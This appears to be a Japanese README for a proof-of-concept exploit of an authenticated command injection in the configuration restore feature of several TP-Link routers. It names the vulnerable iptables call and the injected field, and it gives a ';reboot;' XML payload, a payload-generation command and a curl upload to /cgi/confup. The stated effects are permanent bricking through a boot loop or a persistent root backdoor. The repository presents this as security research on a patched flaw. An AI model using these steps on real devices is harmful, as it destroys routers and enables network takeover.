
TP-Link ルーターファームウェアの認証済み OS コマンドインジェクションの概念実証。復号化、QEMU ベースの暗号化フック、永続的なブートループまたはバックドア展開用の 15 文字のペイロード生成を含みます。
詳細情報については https://www.cve.org/CVERecord?id=CVE-2026-3227 を参照
TP-Link ルーターファームウェアにおける持続的かつ認証済みの OS コマンドインジェクションの脆弱性。デバイスの文鎮化や潜在的な LAN 乗っ取りにつながる可能性があります。
免責事項: このリポジトリには、パッチ適用済みの脆弱性に対する概念実証(PoC)コードが含まれています。教育目的およびセキュリティ研究者向けに提供されています。
複数の TP-Link ルーター(TL-WR802N、TL-WR841N、TL-WR840N を含む)の設定バックアップ/リストア機能に、コマンドインジェクションの脆弱性が存在します。管理者アクセス権を持つ攻撃者は、ルーターの設定をダウンロードし、復号化して、特定の XML フィールドに悪意のある OS コマンド(最大15文字)を注入し、再暗号化してデバイスにアップロードし直すことができます。
ルーターが設定を適用するとき(たとえば、ポートトリガーイベント時や起動時)、注入されたペイロードが root として実行されます。これは、持続的なブートループを引き起こす(ファクトリーリセット後も生き残り、デバイスを恒久的に文鎮化する)ために使用されたり、LAN ピボッティング用の持続的なバックドアを有効にするために使用されたりする可能性があります。
ルーターの設定バックアップ機能を調査している際、httpd バイナリと libcmm.so ライブラリをリバースエンジニアリングして、設定ファイルがどのように暗号化・解析されるかを理解することにしました。
qemu-user を使用してルーターのアーキテクチャをエミュレートし、ランタイムでルーターのオリジナルの httpd バイナリをフックしました(create_config.c)。これにより、Python の PoC からルーターのネイティブな暗号化関数を直接呼び出し、元の暗号化形式を完全に模倣することができました。この脆弱性は、暗号化された設定ブロブを製品が解析し、実行時に適用する方法にあります。ポートトリガー設定パスでは、実装がユーザー制御可能なフィールドを使用してシェルコマンドを構築しますが、適切なサニタイズが行われていません。
具体的には、関数 oal_pt_addPortTrigger が次の呼び出しを行います:
util_execSystem("oal_pt_addPortTrigger",
"iptables -A FORWARD_PT -i br+ -p %s -j TRIGGER --trigger-type out --trigger-proto %s --trigger-match %d-%d --trigger-relate %d-%d",
&local_48, &local_44, *(undefined4 *)(param_2+4), *(undefined4 *)(param_2+4), *psVar3, psVar3[1]);
%s 書式指定子には、アップロードされた XML 設定から直接解析されたインターフェース文字列(X_TP_IfName)が挿入されます。
実行フロー:
http_cgi_gdpr_main -> rdp_setObj -> rsl_setObj -> oal_pt_addPortTriggeroal_pt_addPortTrigger が forward_parsePtOpenPort を呼び出してポートリストを解析します。iptables コマンド文字列を構築し、util_execSystem(system() をラップする)を介して実行します。復号化した XML を次のように変更することで:
<X_TP_IfName val=";reboot;"/>
このコマンドは、起動時やポートトリガーイベント発生時のインターフェース初期化中に実行されます。ペイロードは 15文字 に制限されているため、エクスプロイトの作成にはコンパクトなコマンド実行テクニックが必要です。
著作権で保護された TP-Link バイナリを配布しないために、この PoC では、独自の QEMU フックを介してネイティブの暗号化ライブラリを利用するために、ルーターのファイルシステムを自分で抽出する必要があります。
qemu-mipsel とクロスコンパイラ(gcc-mipsel-linux-gnu)pip install pycryptodome)binwalk -Me <firmware.bin> を使用して抽出したファームウェアsquashfs-root ディレクトリをこのプロジェクトの python_utils/ にコピーします。mipsel-linux-gnu-gcc -shared -fPIC -g -O0 c_hook/create_config.c -o python_utils/create_config.so
config.bin)をダウンロードします。python3 generate_payload.py -i config.bin -o exploit.bin -p ";reboot;"
curl -X POST "http://192.168.0.1/cgi/confup" \
-H "User-Agent: Mozilla/5.0" \
-H "Referer: http://192.168.0.1/mainFrame.htm" \
-H "Origin: http://192.168.0.1" \
-H "Cookie: JSESSIONID=<JSESSIONID_COOKIE>" \
-F "[email protected];type=application/octet-stream"
root として実行されます。;reboot; を使用した場合、ルーターはすぐに再起動し、持続的なブートループに入ります。